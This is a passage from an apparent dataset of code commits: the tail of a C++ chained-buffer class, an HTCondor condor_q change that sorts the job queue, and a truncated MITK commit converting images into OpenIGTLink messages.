Buf::seek(\n\tint\t\tpos\n\t)\n{\n\tint\ttmp;\n\n\ttmp = _dta_pt;\n\t_dta_pt = (pos < 0) ? 0 : ((pos < _dta_maxsz) ? pos : _dta_maxsz-1);\n\tif (_dta_pt > _dta_sz) _dta_sz = _dta_pt;\n\treturn tmp;\n}\n\n\n\nvoid ChainBuf::reset()\n{\n\tBuf\t*trav;\n\tBuf\t*trav_n;\n\n\tif (_tmp) { delete [] _tmp; _tmp = (char *)0; }\n\n\tfor(trav=_head; trav; trav=trav_n){\n\t\ttrav_n = trav->next();\n\t\tdelete trav;\n\t}\n\n\t_head = _tail = _curr = (Buf *)0;\n}\n\n\nint dbg_count = 0;\n\nint ChainBuf::get(\n\tvoid\t*dta,\n\tint\t\tsz\n\t)\n{\n\tint\t\tlast_incr;\n\tint\t\tnr;\n\n\tif (dbg_count++ > 307){\n\t\tdbg_count--;\n\t}\n\n\n\tfor(nr=0; _curr; _curr=_curr->next()){\n\t\tlast_incr = _curr->get_max(&((char *)dta)[nr], sz-nr);\n\t\tnr += last_incr;\n\t\tif (nr == sz) break;\n\t}\n\n\treturn nr;\n}\n\n\n\nint ChainBuf::put(\n\tBuf\t\t*dta\n\t)\n{\n\tif (_tmp) { delete [] _tmp; _tmp = (char *)0; }\n\n\tif (!_tail){\n\t\t_head = _tail = _curr = dta;\n\t\tdta->set_next((Buf *)0);\n\t}\n\telse{\n\t\t_tail->set_next(dta);\n\t\t_tail = dta;\n\t\t_tail->set_next((Buf *)0);\n\t}\n\n\treturn TRUE;\n}\n\n\nint ChainBuf::get_tmp(\n\tvoid\t*&ptr,\n\tchar\tdelim\n\t)\n{\n\tint\tnr;\n\tint\ttr;\n\tBuf\t*trav;\n\n\tif (_tmp) { delete [] _tmp; _tmp = (char *)0; }\n\n\tif (!_curr) return -1;\n\n\t\/* case 1: in one buffer *\/\n\tif ((tr = _curr->find(delim)) >= 0){\n\t\tptr = _curr->get_ptr();\n\t\tnr = _curr->seek(0);\n\t\t_curr->seek(nr+tr+1);\n\t\treturn tr+1;\n\t}\n\n\t\/* case 2: string is in >1 buffers. *\/\n\n\tnr = _curr->num_untouched();\n\tif (!_curr->next()) return -1;\n\n\tfor(trav = _curr->next(); trav; trav = trav->next()){\n\t\tif ((tr = trav->find(delim)) < 0){\n\t\t\tnr += trav->num_untouched();\n\t\t}\n\t\telse{\n\t\t\tnr += tr;\n\t\t\tif (!(_tmp = new char[nr+1])) return -1;\n\t\t\tget(_tmp, nr+1);\n\t\t\tptr = _tmp;\n\t\t\treturn nr+1;\n\t\t}\n\t}\n\n\treturn -1;\n}\n\n\nint ChainBuf::peek(\n\tchar\t&c\n\t)\n{\n\tif (_tmp) { delete [] _tmp; _tmp = (char *)0; }\n\tif (!_curr) return FALSE;\n\n\n\tif (!_curr->peek(c)){\n\t\tif (!(_curr = _curr->next())) return FALSE;\n\t\treturn _curr->peek(c);\n\t}\n\n\treturn TRUE;\n}\n\n<|endoftext|>"}
{"text":"<commit_before>#include <iostream.h>\n#include \"condor_common.h\"\n#include \"_condor_fix_resource.h\"\n#include \"condor_config.h\"\n#include \"condor_q.h\"\n#include \"condor_attributes.h\"\n#include \"files.h\"\n\nextern \"C\" int SetSyscalls(int val){return val;}\nvoid short_print (int, int, const char*, int, int, int, int, int, const char *);\nextern \"C\" void set_debug_flags( char * );\nextern \"C\" char *get_schedd_addr(const char *);\n\nstatic void short_header (void);\nstatic void usage (char *);\nstatic void displayJobShort (ClassAd *);\nstatic void shorten (char *, int);\n\nstatic int verbose = 0, summarize = 1;\nstatic int malformed, unexpanded, running, idle;\n\nextern\t\"C\" BUCKET*\t\tConfigTab[];\nextern \"C\" extern int Termlog;\n\nint main (int argc, char **argv)\n{\n\tCondorQ \t\t  Q;\n\tClassAdList \t  jobs; \n\tClassAd           *job;\n\tint               i;\n\tint               cluster, proc;\n\tchar              constraint[1024];\n\tchar              *host = 0;\n\tchar*\t\t\t\tscheddAddr;\n\t\n\tfor (i = 1; i < argc; i++)\n\t{\n\t\tif (strcmp (argv[i], \"-l\") == 0)\n\t\t{\n\t\t\tverbose = 1;\n\t\t\tsummarize = 0;\n\t\t}\n\t\telse\n\t\tif (strcmp (argv[i], \"-D\") == 0)\n\t\t{\n\t\t\tTermlog = 1;\n\t\t\tset_debug_flags( argv[++i] );\n\t\t}\n\t\telse\n\t\tif (strcmp (argv[i], \"-h\") == 0)\n\t\t{\n\t\t\thost = argv[++i];\n\t\t}\n\t\telse\n\t\tif (strcmp (argv[i], \"-C\") == 0)\n\t\t{\n\t\t\tQ.add (argv[++i]);\n\t\t\tsummarize = 0;\n\t\t}\n\t\telse\n\t\tif (sscanf (argv[i], \"%d.%d\", &cluster, &proc) == 2)\n\t\t{\n\t\t\tsprintf (constraint, \"((%s == %d) && (%s == %d))\", \n\t\t\t\t\t\t\t\t\tATTR_CLUSTER_ID, cluster,\n\t\t\t\t\t\t\t\t\tATTR_PROC_ID, proc);\n\t\t\tQ.add (constraint);\n\t\t\tsummarize = 0;\n\t\t}\n\t\telse\n\t\tif (sscanf (argv[i], \"%d\", &cluster) == 1)\n\t\t{\n\t\t\tsprintf (constraint, \"(%s == %d)\", ATTR_CLUSTER_ID, cluster);\n\t\t\tQ.add (constraint);\n\t\t\tsummarize = 0;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tusage (argv[0]);\n\t\t\texit (1);\n\t\t}\n\t}\n\t\n\tconfig( 0 );\n\n\t\/\/ find ip port of schedd from collector\n\tif(!host)\n\t{\n\t\thost = new char[256];\n\t\tif(gethostname(host, 256) < 0)\n\t\t{\n\t\t\tprintf(\"Can't find host\\n\");\n\t\t\texit(1);\n\t\t}\n\t}\n\tif((scheddAddr = get_schedd_addr(host)) == NULL)\n\t{\n\t\tprintf(\"Can't find schedd address on %s\\n\", host);\n\t\texit(1);\n\t}\n\t\n\t\/\/ fetch queue from schedd\t\n\tif (Q.fetchQueueFromHost (jobs, scheddAddr) != Q_OK)\n\t{\n\t\tprintf (\"Error connecting to job queue\\n\");\n\t\texit (1);\n\t}\n\t\n\t\/\/ initialize counters\n\tmalformed = 0; idle = 0; running = 0; unexpanded = 0;\n\n\tif (verbose)\n\t{\n\t\tjobs.fPrintAttrListList (stdout);\n\t}\n\telse\n\t{\n\t\tshort_header ();\n\t\tjobs.Open ();\n\t\twhile (job = jobs.Next())\n\t\t{\n\t\t\tdisplayJobShort (job);\n\t\t}\n\t\tjobs.Close ();\n\t}\n\n\tif (summarize)\n\t{\n\t\tprintf (\"\\n%d jobs; %d unexpanded, %d idle, %d running, %d malformed\\n\",\n\t\t\t\tunexpanded+idle+running+malformed, unexpanded, idle, running, \n\t\t\t\tmalformed);\n\t}\n\n\treturn 0;\n}\n\nstatic void\ndisplayJobShort (ClassAd *ad)\n{\n\tint cluster, proc, date, status, prio, image_size;\n\tfloat utime;\n\tchar owner[64], cmd[2048], args[2048];\n\n\tif (!ad->EvalInteger (ATTR_CLUSTER_ID, NULL, cluster)\t\t||\n\t\t!ad->EvalInteger (ATTR_PROC_ID, NULL, proc)\t\t\t\t||\n\t\t!ad->EvalInteger (ATTR_Q_DATE, NULL, date)\t\t\t\t||\n\t\t!ad->EvalFloat   (ATTR_JOB_REMOTE_USER_CPU, NULL, utime)\t||\n\t\t!ad->EvalInteger (ATTR_JOB_STATUS, NULL, status)\t\t\t||\n\t\t!ad->EvalInteger (ATTR_JOB_PRIO, NULL, prio)\t\t\t\t||\n\t\t!ad->EvalInteger (ATTR_IMAGE_SIZE, NULL, image_size)\t\t||\n\t\t!ad->EvalString  (ATTR_OWNER, NULL, owner)\t\t\t\t||\n\t\t!ad->EvalString  (ATTR_JOB_CMD, NULL, cmd) )\n\t{\n\t\tprintf (\" --- ???? --- \\n\");\n\t\treturn;\n\t}\n\t\n\tshorten (owner, 14);\n\tif (ad->EvalString (\"Args\", NULL, args)) strcat (cmd, args);\n\tshorten (cmd, 18);\n\tshort_print (cluster, proc, owner, date, (int)utime, status, prio,\n\t\t\t\t\timage_size, cmd); \n\n\tswitch (status)\n\t{\n\t\tcase UNEXPANDED: unexpanded++; break;\n\t\tcase IDLE:       idle++;       break;\n\t\tcase RUNNING:    running++;    break;\n\t}\n}\n\nstatic void \nshort_header (void)\n{\n    printf( \" %-7s %-14s %11s %12s %-2s %-3s %-4s %-18s\\n\",\n        \"ID\",\n        \"OWNER\",\n        \"SUBMITTED\",\n        \"CPU_USAGE\",\n        \"ST\",\n        \"PRI\",\n        \"SIZE\",\n        \"CMD\"\n    );\n}\n\nstatic void\nshorten (char *buff, int len)\n{\n\tif ((unsigned int)strlen (buff) > (unsigned int)len) buff[len] = '\\0';\n}\n\t\t\nstatic void\nusage (char *myName)\n{\n\tprintf (\"usage: %s [-h <host>] [-l] [<constraint> ...]\\n\", myName);\n\tprintf (\"\\twhere <host> is one of:\\n\");\n\tprintf (\"\\t\\thostname\\n\\t\\t<hostname:port>\\n\\t\\t<xx.xx.xx.xx:port>\\n\");\n\tprintf (\"\\tand a <constraint> is one of:\\n\");\n\tprintf (\"\\t\\tcluster\\n\\t\\tcluster.proc\\n\\t\\t-C <ClassAd expression>\\n\");\n}\n<commit_msg>need to sort the queue now, since the schedd keeps it in a hashtable<commit_after>#include <iostream.h>\n#include \"condor_common.h\"\n#include \"_condor_fix_resource.h\"\n#include \"condor_config.h\"\n#include \"condor_q.h\"\n#include \"condor_attributes.h\"\n#include \"files.h\"\n\nextern \"C\" int SetSyscalls(int val){return val;}\nvoid short_print (int, int, const char*, int, int, int, int, int, const char *);\nextern \"C\" void set_debug_flags( char * );\nextern \"C\" char *get_schedd_addr(const char *);\n\nstatic void short_header (void);\nstatic void usage (char *);\nstatic void displayJobShort (ClassAd *);\nstatic void shorten (char *, int);\n\nstatic int verbose = 0, summarize = 1;\nstatic int malformed, unexpanded, running, idle;\n\nextern\t\"C\" BUCKET*\t\tConfigTab[];\nextern \"C\" extern int Termlog;\n\nint main (int argc, char **argv)\n{\n\tCondorQ \t\t  Q;\n\tClassAdList \t  jobs; \n\tClassAd           *job;\n\tint               i;\n\tint               cluster, proc;\n\tchar              constraint[1024];\n\tchar              *host = 0;\n\tchar*\t\t\t\tscheddAddr;\n\t\n\tfor (i = 1; i < argc; i++)\n\t{\n\t\tif (strcmp (argv[i], \"-l\") == 0)\n\t\t{\n\t\t\tverbose = 1;\n\t\t\tsummarize = 0;\n\t\t}\n\t\telse\n\t\tif (strcmp (argv[i], \"-D\") == 0)\n\t\t{\n\t\t\tTermlog = 1;\n\t\t\tset_debug_flags( argv[++i] );\n\t\t}\n\t\telse\n\t\tif (strcmp (argv[i], \"-h\") == 0)\n\t\t{\n\t\t\thost = argv[++i];\n\t\t}\n\t\telse\n\t\tif (strcmp (argv[i], \"-C\") == 0)\n\t\t{\n\t\t\tQ.add (argv[++i]);\n\t\t\tsummarize = 0;\n\t\t}\n\t\telse\n\t\tif (sscanf (argv[i], \"%d.%d\", &cluster, &proc) == 2)\n\t\t{\n\t\t\tsprintf (constraint, \"((%s == %d) && (%s == %d))\", \n\t\t\t\t\t\t\t\t\tATTR_CLUSTER_ID, cluster,\n\t\t\t\t\t\t\t\t\tATTR_PROC_ID, proc);\n\t\t\tQ.add (constraint);\n\t\t\tsummarize = 0;\n\t\t}\n\t\telse\n\t\tif (sscanf (argv[i], \"%d\", &cluster) == 1)\n\t\t{\n\t\t\tsprintf (constraint, \"(%s == %d)\", ATTR_CLUSTER_ID, cluster);\n\t\t\tQ.add (constraint);\n\t\t\tsummarize = 0;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tusage (argv[0]);\n\t\t\texit (1);\n\t\t}\n\t}\n\t\n\tconfig( 0 );\n\n\t\/\/ find ip port of schedd from collector\n\tif(!host)\n\t{\n\t\thost = new char[256];\n\t\tif(gethostname(host, 256) < 0)\n\t\t{\n\t\t\tprintf(\"Can't find host\\n\");\n\t\t\texit(1);\n\t\t}\n\t}\n\tif((scheddAddr = get_schedd_addr(host)) == NULL)\n\t{\n\t\tprintf(\"Can't find schedd address on %s\\n\", host);\n\t\texit(1);\n\t}\n\t\n\t\/\/ fetch queue from schedd\t\n\tif (Q.fetchQueueFromHost (jobs, scheddAddr) != Q_OK)\n\t{\n\t\tprintf (\"Error connecting to job queue\\n\");\n\t\texit (1);\n\t}\n\n\t\/\/ sort queue by cluster.proc\n\tjobs.Sort((int(*)(AttrListAbstract *, AttrListAbstract *, void *))JobSort);\n\t\n\t\/\/ initialize counters\n\tmalformed = 0; idle = 0; running = 0; unexpanded = 0;\n\n\tif (verbose)\n\t{\n\t\tjobs.fPrintAttrListList (stdout);\n\t}\n\telse\n\t{\n\t\tshort_header ();\n\t\tjobs.Open ();\n\t\twhile (job = jobs.Next())\n\t\t{\n\t\t\tdisplayJobShort (job);\n\t\t}\n\t\tjobs.Close ();\n\t}\n\n\tif (summarize)\n\t{\n\t\tprintf (\"\\n%d jobs; %d unexpanded, %d idle, %d running, %d malformed\\n\",\n\t\t\t\tunexpanded+idle+running+malformed, unexpanded, idle, running, \n\t\t\t\tmalformed);\n\t}\n\n\treturn 0;\n}\n\nstatic void\ndisplayJobShort (ClassAd *ad)\n{\n\tint cluster, proc, date, status, prio, image_size;\n\tfloat utime;\n\tchar owner[64], cmd[2048], args[2048];\n\n\tif (!ad->EvalInteger (ATTR_CLUSTER_ID, NULL, cluster)\t\t||\n\t\t!ad->EvalInteger (ATTR_PROC_ID, NULL, proc)\t\t\t\t||\n\t\t!ad->EvalInteger (ATTR_Q_DATE, NULL, date)\t\t\t\t||\n\t\t!ad->EvalFloat   (ATTR_JOB_REMOTE_USER_CPU, NULL, utime)\t||\n\t\t!ad->EvalInteger (ATTR_JOB_STATUS, NULL, status)\t\t\t||\n\t\t!ad->EvalInteger (ATTR_JOB_PRIO, NULL, prio)\t\t\t\t||\n\t\t!ad->EvalInteger (ATTR_IMAGE_SIZE, NULL, image_size)\t\t||\n\t\t!ad->EvalString  (ATTR_OWNER, NULL, owner)\t\t\t\t||\n\t\t!ad->EvalString  (ATTR_JOB_CMD, NULL, cmd) )\n\t{\n\t\tprintf (\" --- ???? --- \\n\");\n\t\treturn;\n\t}\n\t\n\tshorten (owner, 14);\n\tif (ad->EvalString (\"Args\", NULL, args)) strcat (cmd, args);\n\tshorten (cmd, 18);\n\tshort_print (cluster, proc, owner, date, (int)utime, status, prio,\n\t\t\t\t\timage_size, cmd); \n\n\tswitch (status)\n\t{\n\t\tcase UNEXPANDED: unexpanded++; break;\n\t\tcase IDLE:       idle++;       break;\n\t\tcase RUNNING:    running++;    break;\n\t}\n}\n\nstatic void \nshort_header (void)\n{\n    printf( \" %-7s %-14s %11s %12s %-2s %-3s %-4s %-18s\\n\",\n        \"ID\",\n        \"OWNER\",\n        \"SUBMITTED\",\n        \"CPU_USAGE\",\n        \"ST\",\n        \"PRI\",\n        \"SIZE\",\n        \"CMD\"\n    );\n}\n\nstatic void\nshorten (char *buff, int len)\n{\n\tif ((unsigned int)strlen (buff) > (unsigned int)len) buff[len] = '\\0';\n}\n\t\t\nstatic void\nusage (char *myName)\n{\n\tprintf (\"usage: %s [-h <host>] [-l] [<constraint> ...]\\n\", myName);\n\tprintf (\"\\twhere <host> is one of:\\n\");\n\tprintf (\"\\t\\thostname\\n\\t\\t<hostname:port>\\n\\t\\t<xx.xx.xx.xx:port>\\n\");\n\tprintf (\"\\tand a <constraint> is one of:\\n\");\n\tprintf (\"\\t\\tcluster\\n\\t\\tcluster.proc\\n\\t\\t-C <ClassAd expression>\\n\");\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*===================================================================\n\nThe Medical Imaging Interaction Toolkit (MITK)\n\nCopyright (c) German Cancer Research Center,\nDivision of Medical and Biological Informatics.\nAll rights reserved.\n\nThis software is distributed WITHOUT ANY WARRANTY; without\neven the implied warranty of MERCHANTABILITY or FITNESS FOR\nA PARTICULAR PURPOSE.\n\nSee LICENSE.txt or http:\/\/www.mitk.org for details.\n\n===================================================================*\/\n\n#include \"mitkImageToIGTLMessageFilter.h\"\n#include \"mitkImageReadAccessor.h\"\n#include \"itkByteSwapper.h\"\n#include \"igtlImageMessage.h\"\n\nmitk::ImageToIGTLMessageFilter::ImageToIGTLMessageFilter()\n{\n  mitk::IGTLMessage::Pointer output = mitk::IGTLMessage::New();\n  this->SetNumberOfRequiredOutputs(1);\n  this->SetNthOutput(0, output.GetPointer());\n  this->SetNumberOfRequiredInputs(1);\n}\n\nvoid mitk::ImageToIGTLMessageFilter::GenerateData()\n{\n  \/\/ MITK_INFO << \"ImageToIGTLMessageFilter.GenerateData()\";\n  for (unsigned int i = 0; i < this->GetNumberOfIndexedOutputs(); ++i)\n  {\n    mitk::IGTLMessage* output = this->GetOutput(i);\n    assert(output);\n\n    const mitk::Image* img = this->GetInput(i);\n\n    int dims = img->GetDimension();\n    int chn = img->GetNumberOfChannels();\n\n    if (dims < 1)\n    {\n      MITK_ERROR << \"Can not handle dimensionless images\";\n    }\n    if (dims > 3)\n    {\n      MITK_ERROR << \"Can not handle more than three dimensions\";\n      continue;\n    }\n\n    if (chn != 1)\n    {\n      MITK_ERROR << \"Can not handle anything but one channel. Image contained \" << chn;\n      continue;\n    }\n\n    igtl::ImageMessage::Pointer imgMsg = igtl::ImageMessage::New();\n\n    \/\/ TODO: Which kind of coordinate system does MITK really use?\n    imgMsg->SetCoordinateSystem(igtl::ImageMessage::COORDINATE_RAS);\n\n    \/\/ We could do this based on the host endiannes, but that's weird.\n    \/\/ We instead use little endian, as most modern systems are little endian,\n    \/\/ so there will probably not be an endian swap involved.\n    imgMsg->SetEndian(igtl::ImageMessage::ENDIAN_LITTLE);\n\n    \/\/ Set number of components.\n    mitk::PixelType type = img->GetPixelType();\n    imgMsg->SetNumComponents(type.GetNumberOfComponents());\n\n    \/\/ Set scalar type.\n    switch (type.GetComponentType())\n    {\n    case itk::ImageIOBase::CHAR:\n      imgMsg->SetScalarTypeToInt8();\n      break;\n    case itk::ImageIOBase::UCHAR:\n      imgMsg->SetScalarTypeToUint8();\n      break;\n    case itk::ImageIOBase::SHORT:\n      imgMsg->SetScalarTypeToInt16();\n      break;\n    case itk::ImageIOBase::USHORT:\n      imgMsg->SetScalarTypeToUint16();\n      break;\n    case itk::ImageIOBase::INT:\n      imgMsg->SetScalarTypeToInt32();\n      break;\n    case itk::ImageIOBase::UINT:\n      imgMsg->SetScalarTypeToUint32();\n      break;\n    case itk::ImageIOBase::LONG:\n      \/\/ OIGTL doesn't formally support 64bit int scalars, but if they are\n      \/\/ ever added,\n      \/\/ they will have the identifier 8 assigned.\n      imgMsg->SetScalarType(8);\n      break;\n    case itk::ImageIOBase::ULONG:\n      \/\/ OIGTL doesn't formally support 64bit uint scalars, but if they are\n      \/\/ ever added,\n      \/\/ they will have the identifier 9 assigned.\n      imgMsg->SetScalarType(9);\n      break;\n    case itk::ImageIOBase::FLOAT:\n      \/\/ The igtl library has no method for this. Correct type is 10.\n      imgMsg->SetScalarType(10);\n      break;\n    case itk::ImageIOBase::DOUBLE:\n      \/\/ The igtl library has no method for this. Correct type is 11.\n      imgMsg->SetScalarType(11);\n      break;\n    default:\n      MITK_ERROR << \"Can not handle pixel component type \"\n        << type.GetComponentType();\n      return;\n    }\n\n    \/\/ Set transformation matrix.\n    vtkMatrix4x4* matrix = img->GetGeometry()->GetVtkMatrix();\n\n    float matF[4][4];\n    for (size_t i = 0; i < 4; ++i)\n    {\n      for (size_t j = 0; j < 4; ++j)\n      {\n        matF[i][j] = matrix->GetElement(i, j);\n      }\n    }\n    imgMsg->SetMatrix(matF);\n\n    float spacing[3];\n    auto spacingImg = img->GetGeometry()->GetSpacing();\n\n    for (int i = 0; i < 3; ++i)\n      spacing[i] = spacingImg[i];\n\n    imgMsg->SetSpacing(spacing);\n\n    \/\/ Set dimensions.\n    int sizes[3];\n    for (size_t j = 0; j < 3; ++j)\n    {\n      sizes[j] = img->GetDimension(j);\n    }\n    imgMsg->SetDimensions(sizes);\n\n    \/\/ Allocate and copy data.\n    imgMsg->AllocatePack();\n    imgMsg->AllocateScalars();\n\n    size_t num_pixel = sizes[0] * sizes[1] * sizes[2];\n    void* out = imgMsg->GetScalarPointer();\n    {\n      \/\/ Scoped, so that readAccess will be released ASAP.\n      mitk::ImageReadAccessor readAccess(img, img->GetChannelData(0));\n      const void* in = readAccess.GetData();\n\n      memcpy(out, in, num_pixel * type.GetSize());\n    }\n\n    \/\/ We want to byte swap to little endian. We would like to just\n    \/\/ swap by number of bytes for each component, but itk::ByteSwapper\n    \/\/ is templated over element type, not over element size. So we need to\n    \/\/ switch on the size and use types of the same size.\n    size_t num_scalars = num_pixel * type.GetNumberOfComponents();\n    switch (type.GetComponentType())\n    {\n    case itk::ImageIOBase::CHAR:\n    case itk::ImageIOBase::UCHAR:\n      \/\/ No endian conversion necessary, because a char is exactly one byte!\n      break;\n    case itk::ImageIOBase::SHORT:\n    case itk::ImageIOBase::USHORT:\n      itk::ByteSwapper<short>::SwapRangeFromSystemToLittleEndian((short*)out,\n        num_scalars);\n      break;\n    case itk::ImageIOBase::INT:\n    case itk::ImageIOBase::UINT:\n      itk::ByteSwapper<int>::SwapRangeFromSystemToLittleEndian((int*)out,\n        num_scalars);\n      break;\n    case itk::ImageIOBase::LONG:\n    case itk::ImageIOBase::ULONG:\n      itk::ByteSwapper<long>::SwapRangeFromSystemToLittleEndian((long*)out,\n        num_scalars);\n      break;\n    case itk::ImageIOBase::FLOAT:\n      itk::ByteSwapper<float>::SwapRangeFromSystemToLittleEndian((float*)out,\n        num_scalars);\n      break;\n    case itk::ImageIOBase::DOUBLE:\n      itk::ByteSwapper<double>::SwapRangeFromSystemToLittleEndian(\n        (double*)out, num_scalars);\n      break;\n    }\n\n    imgMsg->Pack();\n\n    output->SetMessage(imgMsg.GetPointer());\n  }\n}\n\nvoid mitk::ImageToIGTLMessageFilter::SetInput(const mitk::Image* img)\n{\n  this->ProcessObject::SetNthInput(0, const_cast<mitk::Image*>(img));\n  this->CreateOutputsForAllInputs();\n}\n\nvoid mitk::ImageToIGTLMessageFilter::SetInput(unsigned int idx,\n  const Image* img)\n{\n  this->ProcessObject::SetNthInput(idx, const_cast<mitk::Image*>(img));\n  this->CreateOutputsForAllInputs();\n}\n\nconst mitk::Image* mitk::ImageToIGTLMessageFilter::GetInput(void)\n{\n  if (this->GetNumberOfInputs() < 1)\n    return NULL;\n  return static_cast<const mitk::Image*>(this->ProcessObject::GetInput(0));\n}\n\nconst mitk::Image* mitk::ImageToIGTLMessageFilter::GetInput(unsigned int idx)\n{\n  if (this->GetNumberOfInputs() < idx + 1)\n  {\n    return NULL;\n  }\n  return static_cast<const mitk::Image*>(this->ProcessObject::GetInput(idx));\n}\n\nvoid mitk::ImageToIGTLMessageFilter::ConnectTo(mitk::ImageSource* upstream)\n{\n  MITK_INFO << \"Image source for this (\" << this << \") mitkImageToIGTLMessageFilter is \" << upstream;\n  for (DataObjectPointerArraySizeType i = 0; i < upstream->GetNumberOfOutputs();\n    i++)\n  {\n    this->SetInput(i, upstream->GetOutput(i));\n  }\n}\n\nvoid mitk::ImageToIGTLMessageFilter::CreateOutputsForAllInputs()\n{\n  \/\/ create one message output for all image inputs\n  this->SetNumberOfIndexedOutputs(this->GetNumberOfIndexedInputs());\n\n  for (size_t idx = 0; idx < this->GetNumberOfIndexedOutputs(); ++idx)\n  {\n    if (this->GetOutput(idx) == NULL)\n    {\n      this->SetNthOutput(idx, this->MakeOutput(idx));\n    }\n    this->Modified();\n  }\n}\n<commit_msg>Fixed timestamp for images (was not set before)<commit_after>\/*===================================================================\n\nThe Medical Imaging Interaction Toolkit (MITK)\n\nCopyright (c) German Cancer Research Center,\nDivision of Medical and Biological Informatics.\nAll rights reserved.\n\nThis software is distributed WITHOUT ANY WARRANTY; without\neven the implied warranty of MERCHANTABILITY or FITNESS FOR\nA PARTICULAR PURPOSE.\n\nSee LICENSE.txt or http:\/\/www.mitk.org for details.\n\n===================================================================*\/\n\n#include \"mitkImageToIGTLMessageFilter.h\"\n#include \"mitkImageReadAccessor.h\"\n#include \"itkByteSwapper.h\"\n#include \"igtlImageMessage.h\"\n\nmitk::ImageToIGTLMessageFilter::ImageToIGTLMessageFilter()\n{\n  mitk::IGTLMessage::Pointer output = mitk::IGTLMessage::New();\n  this->SetNumberOfRequiredOutputs(1);\n  this->SetNthOutput(0, output.GetPointer());\n  this->SetNumberOfRequiredInputs(1);\n}\n\nvoid mitk::ImageToIGTLMessageFilter::GenerateData()\n{\n  \/\/ MITK_INFO << \"ImageToIGTLMessageFilter.GenerateData()\";\n  for (unsigned int i = 0; i < this->GetNumberOfIndexedOutputs(); ++i)\n  {\n    mitk::IGTLMessage* output = this->GetOutput(i);\n    assert(output);\n\n    const mitk::Image* img = this->GetInput(i);\n\n    int dims = img->GetDimension();\n    int chn = img->GetNumberOfChannels();\n\n    if (dims < 1)\n    {\n      MITK_ERROR << \"Can not handle dimensionless images\";\n    }\n    if (dims > 3)\n    {\n      MITK_ERROR << \"Can not handle more than three dimensions\";\n      continue;\n    }\n\n    if (chn != 1)\n    {\n      MITK_ERROR << \"Can not handle anything but one channel. Image contained \" << chn;\n      continue;\n    }\n\n    igtl::ImageMessage::Pointer imgMsg = igtl::ImageMessage::New();\n\n    \/\/ TODO: Which kind of coordinate system does MITK really use?\n    imgMsg->SetCoordinateSystem(igtl::ImageMessage::COORDINATE_RAS);\n\n    \/\/ We could do this based on the host endiannes, but that's weird.\n    \/\/ We instead use little endian, as most modern systems are little endian,\n    \/\/ so there will probably not be an endian swap involved.\n    imgMsg->SetEndian(igtl::ImageMessage::ENDIAN_LITTLE);\n\n    \/\/ Set number of components.\n    mitk::PixelType type = img->GetPixelType();\n    imgMsg->SetNumComponents(type.GetNumberOfComponents());\n\n    \/\/ Set scalar type.\n    switch (type.GetComponentType())\n    {\n    case itk::ImageIOBase::CHAR:\n      imgMsg->SetScalarTypeToInt8();\n      break;\n    case itk::ImageIOBase::UCHAR:\n      imgMsg->SetScalarTypeToUint8();\n      break;\n    case itk::ImageIOBase::SHORT:\n      imgMsg->SetScalarTypeToInt16();\n      break;\n    case itk::ImageIOBase::USHORT:\n      imgMsg->SetScalarTypeToUint16();\n      break;\n    case itk::ImageIOBase::INT:\n      imgMsg->SetScalarTypeToInt32();\n      break;\n    case itk::ImageIOBase::UINT:\n      imgMsg->SetScalarTypeToUint32();\n      break;\n    case itk::ImageIOBase::LONG:\n      \/\/ OIGTL doesn't formally support 64bit int scalars, but if they are\n      \/\/ ever added,\n      \/\/ they will have the identifier 8 assigned.\n      imgMsg->SetScalarType(8);\n      break;\n    case itk::ImageIOBase::ULONG:\n      \/\/ OIGTL doesn't formally support 64bit uint scalars, but if they are\n      \/\/ ever added,\n      \/\/ they will have the identifier 9 assigned.\n      imgMsg->SetScalarType(9);\n      break;\n    case itk::ImageIOBase::FLOAT:\n      \/\/ The igtl library has no method for this. Correct type is 10.\n      imgMsg->SetScalarType(10);\n      break;\n    case itk::ImageIOBase::DOUBLE:\n      \/\/ The igtl library has no method for this. Correct type is 11.\n      imgMsg->SetScalarType(11);\n      break;\n    default:\n      MITK_ERROR << \"Can not handle pixel component type \"\n        << type.GetComponentType();\n      return;\n    }\n\n    \/\/ Set transformation matrix.\n    vtkMatrix4x4* matrix = img->GetGeometry()->GetVtkMatrix();\n\n    float matF[4][4];\n    for (size_t i = 0; i < 4; ++i)\n    {\n      for (size_t j = 0; j < 4; ++j)\n      {\n        matF[i][j] = matrix->GetElement(i, j);\n      }\n    }\n    imgMsg->SetMatrix(matF);\n\n    float spacing[3];\n    auto spacingImg = img->GetGeometry()->GetSpacing();\n\n    for (int i = 0; i < 3; ++i)\n      spacing[i] = spacingImg[i];\n\n    imgMsg->SetSpacing(spacing);\n\n    \/\/ Set dimensions.\n    int sizes[3];\n    for (size_t j = 0; j < 3; ++j)\n    {\n      sizes[j] = img->GetDimension(j);\n    }\n    imgMsg->SetDimensions(sizes);\n\n    \/\/ Allocate and copy data.\n    imgMsg->AllocatePack();\n    imgMsg->AllocateScalars();\n\n    size_t num_pixel = sizes[0] * sizes[1] * sizes[2];\n    void* out = imgMsg->GetScalarPointer();\n    {\n      \/\/ Scoped, so that readAccess will be released ASAP.\n      mitk::ImageReadAccessor readAccess(img, img->GetChannelData(0));\n      const void* in = readAccess.GetData();\n\n      memcpy(out, in, num_pixel * type.GetSize());\n    }\n\n    \/\/ We want to byte swap to little endian. We would like to just\n    \/\/ swap by number of bytes for each component, but itk::ByteSwapper\n    \/\/ is templated over element type, not over element size. So we need to\n    \/\/ switch on the size and use types of the same size.\n    size_t num_scalars = num_pixel * type.GetNumberOfComponents();\n    switch (type.GetComponentType())\n    {\n    case itk::ImageIOBase::CHAR:\n    case itk::ImageIOBase::UCHAR:\n      \/\/ No endian conversion necessary, because a char is exactly one byte!\n      break;\n    case itk::ImageIOBase::SHORT:\n    case itk::ImageIOBase::USHORT:\n      itk::ByteSwapper<short>::SwapRangeFromSystemToLittleEndian((short*)out,\n        num_scalars);\n      break;\n    case itk::ImageIOBase::INT:\n    case itk::ImageIOBase::UINT:\n      itk::ByteSwapper<int>::SwapRangeFromSystemToLittleEndian((int*)out,\n        num_scalars);\n      break;\n    case itk::ImageIOBase::LONG:\n    case itk::ImageIOBase::ULONG:\n      itk::ByteSwapper<long>::SwapRangeFromSystemToLittleEndian((long*)out,\n        num_scalars);\n      break;\n    case itk::ImageIOBase::FLOAT:\n      itk::ByteSwapper<float>::SwapRangeFromSystemToLittleEndian((float*)out,\n        num_scalars);\n      break;\n    case itk::ImageIOBase::DOUBLE:\n      itk::ByteSwapper<double>::SwapRangeFromSystemToLittleEndian(\n        (double*)out, num_scalars);\n      break;\n    